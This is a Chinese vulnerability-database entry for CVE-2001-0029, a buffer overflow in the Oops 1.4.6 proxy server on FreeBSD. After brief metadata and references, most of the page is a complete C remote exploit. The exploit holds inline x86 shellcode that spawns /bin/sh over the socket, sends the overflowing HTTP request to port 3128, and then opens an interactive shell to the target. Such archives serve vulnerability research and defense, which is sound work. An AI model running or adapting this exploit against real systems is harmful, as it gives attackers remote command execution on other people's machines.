多个Oops代理服务系统缓冲区溢出漏洞

多个Oops代理服务系统缓冲区溢出漏洞

漏洞ID 1106139 漏洞类型 缓冲区溢出
发布时间 2000-12-15 更新时间 2005-10-20
图片[1]-多个Oops代理服务系统缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0029
图片[2]-多个Oops代理服务系统缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200102-068
漏洞平台 BSD CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/228
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-068
|漏洞详情
oopsWWW代理服务系统1.4.6版本(和可能其他的版本)存在缓冲区溢出漏洞。远程攻击者借助从反向DNS查找获得超长主机名或者域名执行任意命令。
|漏洞EXP
/*--oopz.c---//-------------r-3-m-0-t-3---------------\-------------*

 TARGET	:	oops-1.4.6 (one russi4n proxy-server)
 CLASS	:	remote
 0S		:	FreeBSD 4.(0 - 2)
 AUTH0R	:	diman
 VEND0R	:	wanna payment for support. I'm not doing his job, yeh?
 DATE		:	7-11-2k
 N0TE		:	xploit was coded for fun only.
 GREETS	:	&y, fm, JU$ (all for be a gOod guys)
*/

#define	BUFADDR		0xbfafe55f	// ret
#define	OFFSET2		450		// second copy
#define	RETOFF		1363		// ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
	call	ne0;
ne0:	popl	%eax;
	nop;
	nop;
	LEN1 = sh - ne0 ;
	leal	LEN1(%eax),%eax;
	pushl	%eax;
	pushl	8(%ebp);
	call	strcpy;
	addl	$8,%esp;
	jmp	done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:	.fill 6,1,0x90;		// magic nops
	jmp	me;
retme:	popl	%esi;
	nop;
	movl	%esi,%eax;
	DELTA = huh - sh - 450;
	negl	%eax;
	leal	DELTA(%eax),%eax;
	negl	%eax;
	movl	(%eax),%ebx;
	cmpl	$0x90909090,%ebx;
	je	huh;		// we are in the first copy yet
	movl	%esi,%eax;	// jump to first copy
	leal	-450(%eax),%eax;
	jmp	*%eax;
me:	call	retme;
	
huh:	.fill	5,1,0x90;	
	jmp	call0;		// just one more (we not shure where we are)
ret0:	popl	%esi;
	movl	(%esi),%ebx;	// decrypt /bin/sh
	subl	$0x30303030,%ebx;
	movl	%ebx,(%esi);
	movl	4(%esi),%ebx;
	subl	$0x30303030,%ebx;
	movl	%ebx,4(%esi);
	xorl	%eax,%eax;
	movl	%esi,%edi;
	negl	%edi;
	leal	-7(%edi),%edi;
	negl	%edi;
	movb	%al,(%edi);	// end it with 0
	jmp	prep;

call0:	call	ret0;	
	.byte	0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:	leal	-4(%esp),%esp;
	movl	%ecx,(%esp);
	leal	-4(%esp),%esp;
	movl	$-33,%eax;
	negl	%eax;
	movl	%eax,(%esp);
	movl	$-0x5a,%eax;
	negl	%eax;
	leal	-4(%esp),%esp;	
	int	$0x80;
	negl	%esp;
	leal	-0xc(%esp),%esp;
	negl	%esp;
	ret;

prep:	xorl	%ecx,%ecx;
	call	dup2;
	movb	$1,%cl;
	call	dup2;
	movb	$2,%cl;
	call	dup2;

	xorl	%eax,%eax;
	leal	-4(%esp),%esp;
	movl	%eax,(%esp);	// 0
	leal	-4(%esp),%esp;	
	movl	%esi,(%esp);	// name
	movl	%esp,%edi;
	leal	-4(%esp),%esp;	
	movl	%eax,(%esp);	// envp
	leal	-4(%esp),%esp;	
	movl	%edi,(%esp);	// av[]
	leal	-4(%esp),%esp;
	movl	%esi,(%esp);	// name
	movb	$0x3b,%al;	// execve
	leal	-4(%esp),%esp;
	int	$0x80;
	xorl	%eax,%eax;
	movl	%eax,(%esp);
	movl	%eax,%ebx;
	movb	$1,%al;		// exit
	leal	-4(%esp),%esp;
	int	$0x80;
	nop;			// hip
	nop;			// hop
	.byte	0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ	0x2000
#define FIL	0xbf
	char buf[SZ],buf2[SZ],*pc,c;
	int i,sock;
	struct sockaddr_in sin;		
	short port=3128;
	unsigned *pu;
	memset(buf,FIL,SZ);
	shellcode(buf);
	buf[strlen(buf)]=FIL;
	pc=&buf[OFFSET2];
	shellcode(pc);
	pc+=strlen(pc);
	*pc=FIL;
	pu=(unsigned*)&buf[RETOFF];
	*pu=BUFADDR;
	buf[RETOFF+4]=0;
	strcpy(buf2,"GET http://p");
	strcat(buf2,buf);
	strcat(buf2," HTTP/1.0rnrn");
	fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.n");
	fprintf(stderr,"use for educational purpose only.n");
	if(ac<2) {
		fprintf(stderr,"usage: ./oopz target_host [port, def=3128]n");
		exit(0);
	}
	pc=av[1];
	if(ac>2) port=atoi(av[2]);
	if(!res(pc,&sin)) {
		fprintf(stderr,"can't resolve %sn",pc);
		exit(0);
	}
	sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	sin.sin_port=htons(port);	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
		fprintf(stderr,"can't connect %s:%dn",pc,port);
		exit(0);
	}
	fprintf(stderr,"Connected. Sending surprise...n");
	send(sock,buf2,strlen(buf2),0);
	spawned_shell(sock);
}


int res(char* host,struct sockaddr_in * ps)
{
	struct hostent *he;
	bzero(ps,sizeof(struct sockaddr_in));
	ps->sin_family=AF_INET;
	ps->sin_len=sizeof(struct sockaddr_in);
	if(!inet_aton(host,&ps->sin_addr))
	{	
		he=gethostbyname2(host,AF_INET);
		if(!he) return 0;
		memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
	}
	return 1;
}

/*
	Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
	char buf[1024];
	fd_set rset;
	int i;
while (1)
 {
  	FD_ZERO(&rset);
  	FD_SET(sock,&rset);
  	FD_SET(STDIN_FILENO,&rset);
  	select(sock+1,&rset,NULL,NULL,NULL);
  	if (FD_ISSET(sock,&rset)) {
   		i=read(sock,buf,1024);
   		if (i <= 0){
     			fprintf(stderr,"Connection lost.n");
     			exit(0);
   		}
   		buf[i]=0;
   		puts(buf);
  	}
  	if (FD_ISSET(STDIN_FILENO,&rset))
  	{
   		i=read(STDIN_FILENO,buf,1024);
   		if (i>0){
			buf[i]=0;
 			if(write(sock,buf,i)<0){
 				fprintf(stderr,"Connection lost.n");
 				exit(0);
 			}
   		}
  	}
 }
}


// milw0rm.com [2000-12-15]
|参考资料

来源:BID
名称:2099
链接:http://www.securityfocus.com/bid/2099
来源:zipper.paco.net
链接:http://zipper.paco.net/~igor/oops/ChangeLog
来源:XF
名称:oops-dns-bo(6122)
链接:http://xforce.iss.net/static/6122.php
来源:BUGTRAQ
名称:20001212Stacktoo;)Re:[pkc]remoteheapbufferoverflowinoops
链接:http://archives.neohapsis.com/archives/bugtraq/2000-12/0158.html

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